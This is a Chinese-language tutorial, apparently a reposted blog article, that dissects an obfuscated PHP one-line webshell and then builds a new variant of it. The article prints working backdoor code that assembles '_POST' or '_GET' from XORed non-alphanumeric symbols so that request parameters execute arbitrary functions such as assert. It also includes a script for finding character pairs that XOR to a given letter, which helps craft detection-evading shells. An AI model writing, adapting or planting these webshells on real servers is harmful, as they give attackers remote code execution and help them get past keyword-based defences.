您好,登錄后才能下訂單哦!
神秘的一句話后門代碼內容:
<?php @$_++; $__=("#"^"|");$__.=("."^"~");$__.=("/"^"`");$__.=("|"^"/");$__.=("{"^"/"); ${$__}[!$_](${$__}[$_]); ?>
代碼作用:
以上代碼即是PHP的一句話后門,當POST數據為0=assert&1=phpinfo();則會執行assert('phpinfo()');
在FireFox下使用HackBar插件模擬發送POST請求的結果如下圖所示:
為什么說他神秘呢?因為奇怪的是,代碼里面沒有一個正常的代碼字符,卻能接收POST的數據,并執行系統函數。接下來,分析他是如何能夠執行的。
格式化代碼,并打印結果:
<?php @$_++; //var_dump($_); 1 $__=("#"^"|"); //var_dump($__); _ $__.=("."^"~"); //var_dump($__); _P $__.=("/"^"`"); //var_dump($__); _PO $__.=("|"^"/"); //var_dump($__); _POS $__.=("{"^"/"); //var_dump($__); _POST ${$__}[!$_](${$__}[$_]); //即$_POST['0']($_POST['1']); ?>
由打印數據我們可以看到,其實,代碼本身就是最后執行了$_POST['0']($_POST['1']);而其中的_POST的每個字符都是由兩個符號進行異或操作后拼接得到的。
那么問題來了,為什么異或后會得到_POST呢。這里就牽涉到PHP的字符串異或運算。首先解釋下,什么叫異或操作。異或操作一般叫做按位異或。意思就是兩個二進制數,按位進行運算,同為0或1的結果為0,不相同的結果為1。比如10101100 ^ 11010010 = 01111110。而PHP的字符串異或運算總共有下面5個步驟:
1.將需要進行異或的兩個字符串都轉行成十進制的asc2碼值; 2.將asc2碼值轉換成二進制數; 3.將轉換后的二進制數進行按位異或操作; 4.將異或后得到的二進制數轉換成十進制數; 5.根據asc2碼表,將十進制數轉換成字符串并返回. 至此,PHP的字符串異或操作完畢
于是,可以解釋,為什么最終會得到_POST字符串。比如下劃線_的獲得,就是先將#和|都轉行成十進制的asc2碼值,35和124(在PHP中可以使用ord函數獲取到字符串對應的asc2碼值),然后將35和124都轉換成二進制數00100011和01111100然后按位異或得到01011111然后轉換成十進制是95,然后得到由asc2碼表得到95對應的字符串為_(在PHP中可以使用chr函數獲取到十進制數對應的asc2碼表的字符串)。
了解到PHP字符串異或運算的原理,那么,其實我可以修改下此后門,改成由GET接收參數。
為了知道哪兩個單字符的異或運算可以分別得到G或者E,做如下程序,打印一個列表,得到任意兩個單字符進行異或的結果
<?php header("Content-type:text/html;charset=utf-8"); ?> <table width="50%" border="0" cellpadding="2" cellspacing="0"> <tr> <td>異或值A</td> <td>異或值B</td> <td>異或結果</td> </tr> <?php for( $i=0; $i<=127; $i++ ){ $array[] = chr( $i ); } ?> <?php for( $i=0; $i<=127; $i++ ){ ?> <?php $a = array_shift($array); ?> <?php foreach( $array as $v ){ ?> <tr> <td><?php echo $a; ?></td> <td><?php echo $v; ?></td> <td><?php echo $a ^ $v; ?></td> </tr> <?php } ?> <?php } ?> </table>
由如上的列表可以查到G可以由 ' ^ ` 得到,E可以由 8 ^ } 得到,于是如下的程序也可以作為一句話后門,并且參數是由GET傳遞:
<?php //GET方式 接收參數 @$_++; $__=("#"^"|"); // _ $__.=("'"^"`"); // G $__.=("8"^"}"); // E $__.=("{"^"/"); // T ${$__}[!$_](${$__}[$_]); ?>
至此,神秘的一句話后門詳解完畢。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。